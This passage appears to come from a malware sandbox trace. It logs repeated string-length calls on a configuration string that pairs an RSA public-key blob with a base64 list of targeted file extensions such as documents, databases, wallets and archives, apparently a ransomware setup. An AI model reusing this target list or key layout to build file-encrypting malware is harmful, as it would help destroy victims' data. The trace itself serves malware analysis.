sIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3